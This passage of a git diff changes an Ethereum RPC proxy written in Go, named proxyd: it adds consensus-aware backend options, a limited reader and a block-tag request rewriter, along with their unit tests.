sw.AddWithTime(ts("2023-04-21 15:04:01"), 4) + sw.AddWithTime(ts("2023-04-21 15:04:01"), 12) + sw.AddWithTime(ts("2023-04-21 15:04:02"), 5) + sw.AddWithTime(ts("2023-04-21 15:04:02"), 15) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 6) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 3) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 1) + sw.AddWithTime(ts("2023-04-21 15:04:05"), 3) + require.Equal(t, 6.125, sw.Avg()) + require.Equal(t, 49.0, sw.Sum()) + require.Equal(t, 8, int(sw.Count())) + require.Equal(t, 3, sw.buckets.Size()) + require.Equal(t, 2, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 16.0, sw.buckets.Values()[0].(*bucket).sum) + require.Equal(t, 2, int(sw.buckets.Values()[1].(*bucket).qty)) + require.Equal(t, 20.0, sw.buckets.Values()[1].(*bucket).sum) + require.Equal(t, 4, int(sw.buckets.Values()[2].(*bucket).qty)) + require.Equal(t, 13.0, sw.buckets.Values()[2].(*bucket).sum) + + // up until 15:04:05 we had 3 buckets + // let's advance the clock to 15:04:11 and the first data point should be evicted + clock.Set(ts("2023-04-21 15:04:11")) + require.Equal(t, 5.5, sw.Avg()) + require.Equal(t, 33.0, sw.Sum()) + require.Equal(t, 6, int(sw.Count())) + require.Equal(t, 2, sw.buckets.Size()) + require.Equal(t, 2, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 20.0, sw.buckets.Values()[0].(*bucket).sum) + require.Equal(t, 4, int(sw.buckets.Values()[1].(*bucket).qty)) + require.Equal(t, 13.0, sw.buckets.Values()[1].(*bucket).sum) + + // let's advance the clock to 15:04:12 and another data point should be evicted + clock.Set(ts("2023-04-21 15:04:12")) + require.Equal(t, 3.25, sw.Avg()) + require.Equal(t, 13.0, sw.Sum()) + require.Equal(t, 4, int(sw.Count())) + require.Equal(t, 1, sw.buckets.Size()) + require.Equal(t, 4, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 13.0, sw.buckets.Values()[0].(*bucket).sum) + + // let's advance the clock to 15:04:25 and all data point should be evicted + clock.Set(ts("2023-04-21 15:04:25")) + require.Equal(t, 0.0, sw.Avg()) + require.Equal(t, 0, sw.buckets.Size()) +} + +func TestSlidingWindow_CustomBucket(t *testing.T) { + now := ts("2023-04-21 15:04:05") + clock := NewAdjustableClock(now) + + sw := NewSlidingWindow( + WithWindowLength(30*time.Second), + WithBucketSize(10*time.Second), + WithClock(clock)) + sw.AddWithTime(ts("2023-04-21 15:03:49"), 5) // key: 03:50, sum: 5.0 + sw.AddWithTime(ts("2023-04-21 15:04:02"), 15) // key: 04:00 + sw.AddWithTime(ts("2023-04-21 15:04:03"), 5) // key: 04:00 + sw.AddWithTime(ts("2023-04-21 15:04:04"), 1) // key: 04:00, sum: 21.0 + sw.AddWithTime(ts("2023-04-21 15:04:05"), 3) // key: 04:10, sum: 3.0 + require.Equal(t, 5.8, sw.Avg()) + require.Equal(t, 29.0, sw.Sum()) + require.Equal(t, 5, int(sw.Count())) + require.Equal(t, 3, sw.buckets.Size()) + require.Equal(t, 5.0, sw.buckets.Values()[0].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 21.0, sw.buckets.Values()[1].(*bucket).sum) + require.Equal(t, 3, int(sw.buckets.Values()[1].(*bucket).qty)) + require.Equal(t, 3.0, sw.buckets.Values()[2].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[2].(*bucket).qty)) + + // up until 15:04:05 we had 3 buckets + // let's advance the clock to 15:04:21 and the first data point should be evicted + clock.Set(ts("2023-04-21 15:04:21")) + require.Equal(t, 6.0, sw.Avg()) + require.Equal(t, 24.0, sw.Sum()) + require.Equal(t, 4, int(sw.Count())) + require.Equal(t, 2, sw.buckets.Size()) + require.Equal(t, 21.0, sw.buckets.Values()[0].(*bucket).sum) + require.Equal(t, 3, int(sw.buckets.Values()[0].(*bucket).qty)) + require.Equal(t, 3.0, sw.buckets.Values()[1].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[1].(*bucket).qty)) + + // let's advance the clock to 15:04:32 and another data point should be evicted + clock.Set(ts("2023-04-21 15:04:32")) + require.Equal(t, 3.0, sw.Avg()) + require.Equal(t, 3.0, sw.Sum()) + require.Equal(t, 1, sw.buckets.Size()) + require.Equal(t, 1, int(sw.Count())) + require.Equal(t, 3.0, sw.buckets.Values()[0].(*bucket).sum) + require.Equal(t, 1, int(sw.buckets.Values()[0].(*bucket).qty)) + + // let's advance the clock to 15:04:46 and all data point should be evicted + clock.Set(ts("2023-04-21 15:04:46")) + require.Equal(t, 0.0, sw.Avg()) + require.Equal(t, 0.0, sw.Sum()) + require.Equal(t, 0, int(sw.Count())) + require.Equal(t, 0, sw.buckets.Size()) +} + +// ts is a convenient method that must parse a time.Time from a string in format `"2006-01-02 15:04:05"` +func ts(s string) time.Time { + format := "2006-01-02 15:04:05" + t, err := time.Parse(format, s) + if err != nil { + panic(err) + } + return t +} diff --git a/go/proxyd/proxyd.go b/go/proxyd/proxyd.go index ccc6897580..84051ab559 100644 --- a/go/proxyd/proxyd.go +++ b/go/proxyd/proxyd.go @@ -7,31 +7,29 @@ import ( "fmt" "net/http" "os" - "strconv" "time" "github.com/ethereum/go-ethereum/common/math" - "github.com/ethereum/go-ethereum/ethclient" "github.com/ethereum/go-ethereum/log" - "github.com/go-redis/redis/v8" "github.com/prometheus/client_golang/prometheus/promhttp" + "github.com/redis/go-redis/v9" "golang.org/x/sync/semaphore" ) -func Start(config *Config) (func(), error) { +func Start(config *Config) (*Server, func(), error) { if len(config.Backends) == 0 { - return nil, errors.New("must define at least one backend") + return nil, nil, errors.New("must define at least one backend") } if len(config.BackendGroups) == 0 { - return nil, errors.New("must define at least one backend group") + return nil, nil, errors.New("must define at least one backend group") } if len(config.RPCMethodMappings) == 0 { - return nil, errors.New("must define at least one RPC method mapping") + return nil, nil, errors.New("must define at least one RPC method mapping") } for authKey := range config.Authentication { if authKey == "none" { - return nil, errors.New("cannot use none as an auth key") + return nil, nil, errors.New("cannot use none as an auth key") } } @@ -39,29 +37,16 @@ func Start(config *Config) (func(), error) { if config.Redis.URL != "" { rURL, err := ReadFromEnvOrConfig(config.Redis.URL) if err != nil { - return nil, err + return nil, nil, err } redisClient, err = NewRedisClient(rURL) if err != nil { - return nil, err + return nil, nil, err } } if redisClient == nil && config.RateLimit.UseRedis { - return nil, errors.New("must specify a Redis URL if UseRedis is true in rate limit config") - } - - var lim BackendRateLimiter - var err error - if config.RateLimit.EnableBackendRateLimiter { - if redisClient != nil { - lim = NewRedisRateLimiter(redisClient) - } else { - log.Warn("redis is not configured, using local rate limiter") - lim = NewLocalBackendRateLimiter() - } - } else { - lim = noopBackendRateLimiter + return nil, nil, errors.New("must specify a Redis URL if UseRedis is true in rate limit config") } // While modifying shared globals is a bad practice, the alternative @@ -80,10 +65,10 @@ func Start(config *Config) (func(), error) { if config.SenderRateLimit.Enabled { if config.SenderRateLimit.Limit <= 0 { - return nil, errors.New("limit in sender_rate_limit must be > 0") + return nil, nil, errors.New("limit in sender_rate_limit must be > 0") } if time.Duration(config.SenderRateLimit.Interval) < time.Second { - return nil, errors.New("interval in sender_rate_limit must be >= 1s") + return nil, nil, errors.New("interval in sender_rate_limit must be >= 1s") } } @@ -100,17 +85,14 @@ func Start(config *Config) (func(), error) { rpcURL, err := ReadFromEnvOrConfig(cfg.RPCURL) if err != nil { - return nil, err + return nil, nil, err } wsURL, err := ReadFromEnvOrConfig(cfg.WSURL) if err != nil { - return nil, err + return nil, nil, err } if rpcURL == "" { - return nil, fmt.Errorf("must define an RPC URL for backend %s", name) - } - if wsURL == "" { - return nil, fmt.Errorf("must define a WS URL for backend %s", name) + return nil, nil, fmt.Errorf("must define an RPC URL for backend %s", name) } if config.BackendOptions.ResponseTimeoutSeconds != 0 { @@ -126,6 +108,15 @@ func Start(config *Config) (func(), error) { if config.BackendOptions.OutOfServiceSeconds != 0 { opts = append(opts, WithOutOfServiceDuration(secondsToDuration(config.BackendOptions.OutOfServiceSeconds))) } + if config.BackendOptions.MaxDegradedLatencyThreshold > 0 { + opts = append(opts, WithMaxDegradedLatencyThreshold(time.Duration(config.BackendOptions.MaxDegradedLatencyThreshold))) + } + if config.BackendOptions.MaxLatencyThreshold > 0 { + opts = append(opts, WithMaxLatencyThreshold(time.Duration(config.BackendOptions.MaxLatencyThreshold))) + } + if config.BackendOptions.MaxErrorRateThreshold > 0 { + opts = append(opts, WithMaxErrorRateThreshold(config.BackendOptions.MaxErrorRateThreshold)) + } if cfg.MaxRPS != 0 { opts = append(opts, WithMaxRPS(cfg.MaxRPS)) } @@ -135,13 +126,13 @@ func Start(config *Config) (func(), error) { if cfg.Password != "" { passwordVal, err := ReadFromEnvOrConfig(cfg.Password) if err != nil { - return nil, err + return nil, nil, err } opts = append(opts, WithBasicAuth(cfg.Username, passwordVal)) } tlsConfig, err := configureBackendTLS(cfg) if err != nil { - return nil, err + return nil, nil, err } if tlsConfig != nil { log.Info("using custom TLS config for backend", "name", name) @@ -151,10 +142,27 @@ func Start(config *Config) (func(), error) { opts = append(opts, WithStrippedTrailingXFF()) } opts = append(opts, WithProxydIP(os.Getenv("PROXYD_IP"))) - back := NewBackend(name, rpcURL, wsURL, lim, rpcRequestSemaphore, opts...) + opts = append(opts, WithConsensusSkipPeerCountCheck(cfg.ConsensusSkipPeerCountCheck)) + opts = append(opts, WithConsensusForcedCandidate(cfg.ConsensusForcedCandidate)) + + receiptsTarget, err := ReadFromEnvOrConfig(cfg.ConsensusReceiptsTarget) + if err != nil { + return nil, nil, err + } + receiptsTarget, err = validateReceiptsTarget(receiptsTarget) + if err != nil { + return nil, nil, err + } + opts = append(opts, WithConsensusReceiptTarget(receiptsTarget)) + + back := NewBackend(name, rpcURL, wsURL, rpcRequestSemaphore, opts...) backendNames = append(backendNames, name) backendsByName[name] = back - log.Info("configured backend", "name", name, "rpc_url", rpcURL, "ws_url", wsURL) + log.Info("configured backend", + "name", name, + "backend_names", backendNames, + "rpc_url", rpcURL, + "ws_url", wsURL) } backendGroups := make(map[string]*BackendGroup) @@ -162,7 +170,7 @@ func Start(config *Config) (func(), error) { backends := make([]*Backend, 0) for _, bName := range bg.Backends { if backendsByName[bName] == nil { - return nil, fmt.Errorf("backend %s is not defined", bName) + return nil, nil, fmt.Errorf("backend %s is not defined", bName) } backends = append(backends, backendsByName[bName]) } @@ -177,17 +185,17 @@ func Start(config *Config) (func(), error) { if config.WSBackendGroup != "" { wsBackendGroup = backendGroups[config.WSBackendGroup] if wsBackendGroup == nil { - return nil, fmt.Errorf("ws backend group %s does not exist", config.WSBackendGroup) + return nil, nil, fmt.Errorf("ws backend group %s does not exist", config.WSBackendGroup) } } if wsBackendGroup == nil && config.Server.WSPort != 0 { - return nil, fmt.Errorf("a ws port was defined, but no ws group was defined") + return nil, nil, fmt.Errorf("a ws port was defined, but no ws group was defined") } for _, bg := range config.RPCMethodMappings { if backendGroups[bg] == nil { - return nil, fmt.Errorf("undefined backend group %s", bg) + return nil, nil, fmt.Errorf("undefined backend group %s", bg) } } @@ -198,48 +206,24 @@ func Start(config *Config) (func(), error) { for secret, alias := range config.Authentication { resolvedSecret, err := ReadFromEnvOrConfig(secret) if err != nil { - return nil, err + return nil, nil, err } resolvedAuth[resolvedSecret] = alias } } var ( - rpcCache RPCCache - blockNumLVC *EthLastValueCache - gasPriceLVC *EthLastValueCache + cache Cache + rpcCache RPCCache ) if config.Cache.Enabled { - var ( - cache Cache - blockNumFn GetLatestBlockNumFn - gasPriceFn GetLatestGasPriceFn - ) - - if config.Cache.BlockSyncRPCURL == "" { - return nil, fmt.Errorf("block sync node required for caching") - } - blockSyncRPCURL, err := ReadFromEnvOrConfig(config.Cache.BlockSyncRPCURL) - if err != nil { - return nil, err - } - if redisClient == nil { log.Warn("redis is not configured, using in-memory cache") cache = newMemoryCache() } else { - cache = newRedisCache(redisClient) - } - // Ideally, the BlocKSyncRPCURL should be the sequencer or a HA replica that's not far behind - ethClient, err := ethclient.Dial(blockSyncRPCURL) - if err != nil { - return nil, err + cache = newRedisCache(redisClient, config.Redis.Namespace) } - defer ethClient.Close() - - blockNumLVC, blockNumFn = makeGetLatestBlockNumFn(ethClient, cache) - gasPriceLVC, gasPriceFn = makeGetLatestGasPriceFn(ethClient, cache) - rpcCache = newRPCCache(newCacheWithCompression(cache), blockNumFn, gasPriceFn, config.Cache.NumBlockConfirmations) + rpcCache = newRPCCache(newCacheWithCompression(cache)) } srv, err := NewServer( @@ -251,6 +235,7 @@ func Start(config *Config) (func(), error) { resolvedAuth, secondsToDuration(config.Server.TimeoutSeconds), config.Server.MaxUpstreamBatchSize, + config.Server.EnableXServedByHeader, rpcCache, config.RateLimit, config.SenderRateLimit, @@ -260,7 +245,7 @@ func Start(config *Config) (func(), error) { redisClient, ) if err != nil { - return nil, fmt.Errorf("error creating server: %w", err) + return nil, nil, fmt.Errorf("error creating server: %w", err) } if config.Metrics.Enabled { @@ -300,25 +285,86 @@ func Start(config *Config) (func(), error) { log.Crit("error starting WS server", "err", err) } }() + } else { + log.Info("WS server not enabled (ws_port is set to 0)") + } + + for bgName, bg := range backendGroups { + bgcfg := config.BackendGroups[bgName] + if bgcfg.ConsensusAware { + log.Info("creating poller for consensus aware backend_group", "name", bgName) + + copts := make([]ConsensusOpt, 0) + + if bgcfg.ConsensusAsyncHandler == "noop" { + copts = append(copts, WithAsyncHandler(NewNoopAsyncHandler())) + } + if bgcfg.ConsensusBanPeriod > 0 { + copts = append(copts, WithBanPeriod(time.Duration(bgcfg.ConsensusBanPeriod))) + } + if bgcfg.ConsensusMaxUpdateThreshold > 0 { + copts = append(copts, WithMaxUpdateThreshold(time.Duration(bgcfg.ConsensusMaxUpdateThreshold))) + } + if bgcfg.ConsensusMaxBlockLag > 0 { + copts = append(copts, WithMaxBlockLag(bgcfg.ConsensusMaxBlockLag)) + } + if bgcfg.ConsensusMinPeerCount > 0 { + copts = append(copts, WithMinPeerCount(uint64(bgcfg.ConsensusMinPeerCount))) + } + if bgcfg.ConsensusMaxBlockRange > 0 { + copts = append(copts, WithMaxBlockRange(bgcfg.ConsensusMaxBlockRange)) + } + + var tracker ConsensusTracker + if bgcfg.ConsensusHA { + if redisClient == nil { + log.Crit("cant start - consensus high availability requires redis") + } + topts := make([]RedisConsensusTrackerOpt, 0) + if bgcfg.ConsensusHALockPeriod > 0 { + topts = append(topts, WithLockPeriod(time.Duration(bgcfg.ConsensusHALockPeriod))) + } + if bgcfg.ConsensusHAHeartbeatInterval > 0 { + topts = append(topts, WithLockPeriod(time.Duration(bgcfg.ConsensusHAHeartbeatInterval))) + } + tracker = NewRedisConsensusTracker(context.Background(), redisClient, bg, bg.Name, topts...) + copts = append(copts, WithTracker(tracker)) + } + + cp := NewConsensusPoller(bg, copts...) + bg.Consensus = cp + + if bgcfg.ConsensusHA { + tracker.(*RedisConsensusTracker).Init() + } + } } <-errTimer.C log.Info("started proxyd") - return func() { + shutdownFunc := func() { log.Info("shutting down proxyd") - if blockNumLVC != nil { - blockNumLVC.Stop() - } - if gasPriceLVC != nil { - gasPriceLVC.Stop() - } srv.Shutdown() - if err := lim.FlushBackendWSConns(backendNames); err != nil { - log.Error("error flushing backend ws conns", "err", err) - } log.Info("goodbye") - }, nil + } + + return srv, shutdownFunc, nil +} + +func validateReceiptsTarget(val string) (string, error) { + if val == "" { + val = ReceiptsTargetDebugGetRawReceipts + } + switch val { + case ReceiptsTargetDebugGetRawReceipts, + ReceiptsTargetAlchemyGetTransactionReceipts, + ReceiptsTargetEthGetTransactionReceipts, + ReceiptsTargetParityGetTransactionReceipts: + return val, nil + default: + return "", fmt.Errorf("invalid receipts target: %s", val) + } } func secondsToDuration(seconds int) time.Duration { @@ -345,39 +391,3 @@ func configureBackendTLS(cfg *BackendConfig) (*tls.Config, error) { return tlsConfig, nil } - -func makeUint64LastValueFn(client *ethclient.Client, cache Cache, key string, updater lvcUpdateFn) (*EthLastValueCache, func(context.Context) (uint64, error)) { - lvc := newLVC(client, cache, key, updater) - lvc.Start() - return lvc, func(ctx context.Context) (uint64, error) { - value, err := lvc.Read(ctx) - if err != nil { - return 0, err - } - if value == "" { - return 0, fmt.Errorf("%s is unavailable", key) - } - valueUint, err := strconv.ParseUint(value, 10, 64) - if err != nil { - return 0, err - } - return valueUint, nil - } -} - -func makeGetLatestBlockNumFn(client *ethclient.Client, cache Cache) (*EthLastValueCache, GetLatestBlockNumFn) { - return makeUint64LastValueFn(client, cache, "lvc:block_number", func(ctx context.Context, c *ethclient.Client) (string, error) { - blockNum, err := c.BlockNumber(ctx) - return strconv.FormatUint(blockNum, 10), err - }) -} - -func makeGetLatestGasPriceFn(client *ethclient.Client, cache Cache) (*EthLastValueCache, GetLatestGasPriceFn) { - return makeUint64LastValueFn(client, cache, "lvc:gas_price", func(ctx context.Context, c *ethclient.Client) (string, error) { - gasPrice, err := c.SuggestGasPrice(ctx) - if err != nil { - return "", err - } - return gasPrice.String(), nil - }) -} diff --git a/go/proxyd/reader.go b/go/proxyd/reader.go new file mode 100644 index 0000000000..b16301f1f0 --- /dev/null +++ b/go/proxyd/reader.go @@ -0,0 +1,32 @@ +package proxyd + +import ( + "errors" + "io" +) + +var ErrLimitReaderOverLimit = errors.New("over read limit") + +func LimitReader(r io.Reader, n int64) io.Reader { return &LimitedReader{r, n} } + +// A LimitedReader reads from R but limits the amount of +// data returned to just N bytes. Each call to Read +// updates N to reflect the new amount remaining. +// Unlike the standard library version, Read returns +// ErrLimitReaderOverLimit when N <= 0. +type LimitedReader struct { + R io.Reader // underlying reader + N int64 // max bytes remaining +} + +func (l *LimitedReader) Read(p []byte) (int, error) { + if l.N <= 0 { + return 0, ErrLimitReaderOverLimit + } + if int64(len(p)) > l.N { + p = p[0:l.N] + } + n, err := l.R.Read(p) + l.N -= int64(n) + return n, err +} diff --git a/go/proxyd/reader_test.go b/go/proxyd/reader_test.go new file mode 100644 index 0000000000..2ee23456ed --- /dev/null +++ b/go/proxyd/reader_test.go @@ -0,0 +1,43 @@ +package proxyd + +import ( + "github.com/stretchr/testify/require" + "io" + "strings" + "testing" +) + +func TestLimitReader(t *testing.T) { + data := "hellohellohellohello" + r := LimitReader(strings.NewReader(data), 3) + buf := make([]byte, 3) + + // Buffer reads OK + n, err := r.Read(buf) + require.NoError(t, err) + require.Equal(t, 3, n) + + // Buffer is over limit + n, err = r.Read(buf) + require.Equal(t, ErrLimitReaderOverLimit, err) + require.Equal(t, 0, n) + + // Buffer on initial read is over size + buf = make([]byte, 16) + r = LimitReader(strings.NewReader(data), 3) + n, err = r.Read(buf) + require.NoError(t, err) + require.Equal(t, 3, n) + + // test with read all where the limit is less than the data + r = LimitReader(strings.NewReader(data), 3) + out, err := io.ReadAll(r) + require.Equal(t, ErrLimitReaderOverLimit, err) + require.Equal(t, "hel", string(out)) + + // test with read all where the limit is more than the data + r = LimitReader(strings.NewReader(data), 21) + out, err = io.ReadAll(r) + require.NoError(t, err) + require.Equal(t, data, string(out)) +} diff --git a/go/proxyd/redis.go b/go/proxyd/redis.go index e32bff2432..bd15f527f9 100644 --- a/go/proxyd/redis.go +++ b/go/proxyd/redis.go @@ -4,7 +4,7 @@ import ( "context" "time" - "github.com/go-redis/redis/v8" + "github.com/redis/go-redis/v9" ) func NewRedisClient(url string) (*redis.Client, error) { diff --git a/go/proxyd/rewriter.go b/go/proxyd/rewriter.go new file mode 100644 index 0000000000..98b59ec1d7 --- /dev/null +++ b/go/proxyd/rewriter.go @@ -0,0 +1,247 @@ +package proxyd + +import ( + "encoding/json" + "errors" + + "github.com/ethereum/go-ethereum/common/hexutil" + "github.com/ethereum/go-ethereum/rpc" +) + +type RewriteContext struct { + latest hexutil.Uint64 + safe hexutil.Uint64 + finalized hexutil.Uint64 + maxBlockRange uint64 +} + +type RewriteResult uint8 + +const ( + // RewriteNone means request should be forwarded as-is + RewriteNone RewriteResult = iota + + // RewriteOverrideError means there was an error attempting to rewrite + RewriteOverrideError + + // RewriteOverrideRequest means the modified request should be forwarded to the backend + RewriteOverrideRequest + + // RewriteOverrideResponse means to skip calling the backend and serve the overridden response + RewriteOverrideResponse +) + +var ( + ErrRewriteBlockOutOfRange = errors.New("block is out of range") + ErrRewriteRangeTooLarge = errors.New("block range is too large") +) + +// RewriteTags modifies the request and the response based on block tags +func RewriteTags(rctx RewriteContext, req *RPCReq, res *RPCRes) (RewriteResult, error) { + rw, err := RewriteResponse(rctx, req, res) + if rw == RewriteOverrideResponse { + return rw, err + } + return RewriteRequest(rctx, req, res) +} + +// RewriteResponse modifies the response object to comply with the rewrite context +// after the method has been called at the backend +// RewriteResult informs the decision of the rewrite +func RewriteResponse(rctx RewriteContext, req *RPCReq, res *RPCRes) (RewriteResult, error) { + switch req.Method { + case "eth_blockNumber": + res.Result = rctx.latest + return RewriteOverrideResponse, nil + } + return RewriteNone, nil +} + +// RewriteRequest modifies the request object to comply with the rewrite context +// before the method has been called at the backend +// it returns false if nothing was changed +func RewriteRequest(rctx RewriteContext, req *RPCReq, res *RPCRes) (RewriteResult, error) { + switch req.Method { + case "eth_getLogs", + "eth_newFilter": + return rewriteRange(rctx, req, res, 0) + case "debug_getRawReceipts", "consensus_getReceipts": + return rewriteParam(rctx, req, res, 0, true) + case "eth_getBalance", + "eth_getCode", + "eth_getTransactionCount", + "eth_call": + return rewriteParam(rctx, req, res, 1, false) + case "eth_getStorageAt": + return rewriteParam(rctx, req, res, 2, false) + case "eth_getBlockTransactionCountByNumber", + "eth_getUncleCountByBlockNumber", + "eth_getBlockByNumber", + "eth_getTransactionByBlockNumberAndIndex", + "eth_getUncleByBlockNumberAndIndex": + return rewriteParam(rctx, req, res, 0, false) + } + return RewriteNone, nil +} + +func rewriteParam(rctx RewriteContext, req *RPCReq, res *RPCRes, pos int, required bool) (RewriteResult, error) { + var p []interface{} + err := json.Unmarshal(req.Params, &p) + if err != nil { + return RewriteOverrideError, err + } + + // we assume latest if the param is missing, + // and we don't rewrite if there is not enough params + if len(p) == pos && !required { + p = append(p, "latest") + } else if len(p) <= pos { + return RewriteNone, nil + } + + s, ok := p[pos].(string) + if !ok { + return RewriteOverrideError, errors.New("expected string") + } + val, rw, err := rewriteTag(rctx, s) + if err != nil { + return RewriteOverrideError, err + } + + if rw { + p[pos] = val + paramRaw, err := json.Marshal(p) + if err != nil { + return RewriteOverrideError, err + } + req.Params = paramRaw + return RewriteOverrideRequest, nil + } + return RewriteNone, nil +} + +func rewriteRange(rctx RewriteContext, req *RPCReq, res *RPCRes, pos int) (RewriteResult, error) { + var p []map[string]interface{} + err := json.Unmarshal(req.Params, &p) + if err != nil { + return RewriteOverrideError, err + } + + // if either fromBlock or toBlock is defined, default the other to "latest" if unset + _, hasFrom := p[pos]["fromBlock"] + _, hasTo := p[pos]["toBlock"] + if hasFrom && !hasTo { + p[pos]["toBlock"] = "latest" + } else if hasTo && !hasFrom { + p[pos]["fromBlock"] = "latest" + } + + modifiedFrom, err := rewriteTagMap(rctx, p[pos], "fromBlock") + if err != nil { + return RewriteOverrideError, err + } + + modifiedTo, err := rewriteTagMap(rctx, p[pos], "toBlock") + if err != nil { + return RewriteOverrideError, err + } + + if rctx.maxBlockRange > 0 && (hasFrom || hasTo) { + from, err := blockNumber(p[pos], "fromBlock", uint64(rctx.latest)) + if err != nil { + return RewriteOverrideError, err + } + to, err := blockNumber(p[pos], "toBlock", uint64(rctx.latest)) + if err != nil { + return RewriteOverrideError, err + } + if to-from > rctx.maxBlockRange { + return RewriteOverrideError, ErrRewriteRangeTooLarge + } + } + + // if any of the fields the request have been changed, re-marshal the params + if modifiedFrom || modifiedTo { + paramsRaw, err := json.Marshal(p) + req.Params = paramsRaw + if err != nil { + return RewriteOverrideError, err + } + return RewriteOverrideRequest, nil + } + + return RewriteNone, nil +} + +func blockNumber(m map[string]interface{}, key string, latest uint64) (uint64, error) { + current, ok := m[key].(string) + if !ok { + return 0, errors.New("expected string") + } + // the latest/safe/finalized tags are already replaced by rewriteTag + if current == "earliest" { + return 0, nil + } + if current == "pending" { + return latest + 1, nil + } + return hexutil.DecodeUint64(current) +} + +func rewriteTagMap(rctx RewriteContext, m map[string]interface{}, key string) (bool, error) { + if m[key] == nil || m[key] == "" { + return false, nil + } + + current, ok := m[key].(string) + if !ok { + return false, errors.New("expected string") + } + + val, rw, err := rewriteTag(rctx, current) + if err != nil { + return false, err + } + if rw { + m[key] = val + return true, nil + } + + return false, nil +} + +func rewriteTag(rctx RewriteContext, current string) (string, bool, error) { + jv, err := json.Marshal(current) + if err != nil { + return "", false, err + } + + var bnh rpc.BlockNumberOrHash + err = bnh.UnmarshalJSON(jv) + if err != nil { + return "", false, err + } + + // this is a hash, not a block + if bnh.BlockNumber == nil { + return current, false, nil + } + + switch *bnh.BlockNumber { + case rpc.PendingBlockNumber, + rpc.EarliestBlockNumber: + return current, false, nil + case rpc.FinalizedBlockNumber: + return rctx.finalized.String(), true, nil + case rpc.SafeBlockNumber: + return rctx.safe.String(), true, nil + case rpc.LatestBlockNumber: + return rctx.latest.String(), true, nil + default: + if bnh.BlockNumber.Int64() > int64(rctx.latest) { + return "", false, ErrRewriteBlockOutOfRange + } + } + + return current, false, nil +} diff --git a/go/proxyd/rewriter_test.go b/go/proxyd/rewriter_test.go new file mode 100644 index 0000000000..94bc5c962d --- /dev/null +++ b/go/proxyd/rewriter_test.go @@ -0,0 +1,624 @@ +package proxyd + +import ( + "encoding/json" + "strings" + "testing" + + "github.com/ethereum/go-ethereum/common/hexutil" + "github.com/stretchr/testify/require" +) + +type args struct { + rctx RewriteContext + req *RPCReq + res *RPCRes +} + +type rewriteTest struct { + name string + args args + expected RewriteResult + expectedErr error + check func(*testing.T, args) +} + +func TestRewriteRequest(t *testing.T) { + tests := []rewriteTest{ + /* range scoped */ + { + name: "eth_getLogs fromBlock latest", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"fromBlock": "latest"}})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []map[string]interface{} + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, hexutil.Uint64(100).String(), p[0]["fromBlock"]) + }, + }, + { + name: "eth_getLogs fromBlock within range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"fromBlock": hexutil.Uint64(55).String()}})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []map[string]interface{} + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, hexutil.Uint64(55).String(), p[0]["fromBlock"]) + }, + }, + { + name: "eth_getLogs fromBlock out of range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"fromBlock": hexutil.Uint64(111).String()}})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteBlockOutOfRange, + }, + { + name: "eth_getLogs toBlock latest", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"toBlock": "latest"}})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []map[string]interface{} + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, hexutil.Uint64(100).String(), p[0]["toBlock"]) + }, + }, + { + name: "eth_getLogs toBlock within range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"toBlock": hexutil.Uint64(55).String()}})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []map[string]interface{} + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, hexutil.Uint64(55).String(), p[0]["toBlock"]) + }, + }, + { + name: "eth_getLogs toBlock out of range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"toBlock": hexutil.Uint64(111).String()}})}, + res: nil, + }, + expected: RewriteOverrideError, + expectedErr: ErrRewriteBlockOutOfRange, + }, + { + name: "eth_getLogs fromBlock, toBlock latest", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"fromBlock": "latest", "toBlock": "latest"}})}, + res: nil, + }, + expected: RewriteOverrideRequest, + check: func(t *testing.T, args args) { + var p []map[string]interface{} + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + require.Equal(t, hexutil.Uint64(100).String(), p[0]["fromBlock"]) + require.Equal(t, hexutil.Uint64(100).String(), p[0]["toBlock"]) + }, + }, + { + name: "eth_getLogs fromBlock, toBlock within range", + args: args{ + rctx: RewriteContext{latest: hexutil.Uint64(100)}, + req: &RPCReq{Method: "eth_getLogs", Params: mustMarshalJSON([]map[string]interface{}{{"fromBlock": hexutil.Uint64(55).String(), "toBlock": hexutil.Uint64(77).String()}})}, + res: nil, + }, + expected: RewriteNone, + check: func(t *testing.T, args args) { + var p []map[string]interface{} + err := json.Unmarshal(args.req.Params, &p) + require.Nil(t, err) + 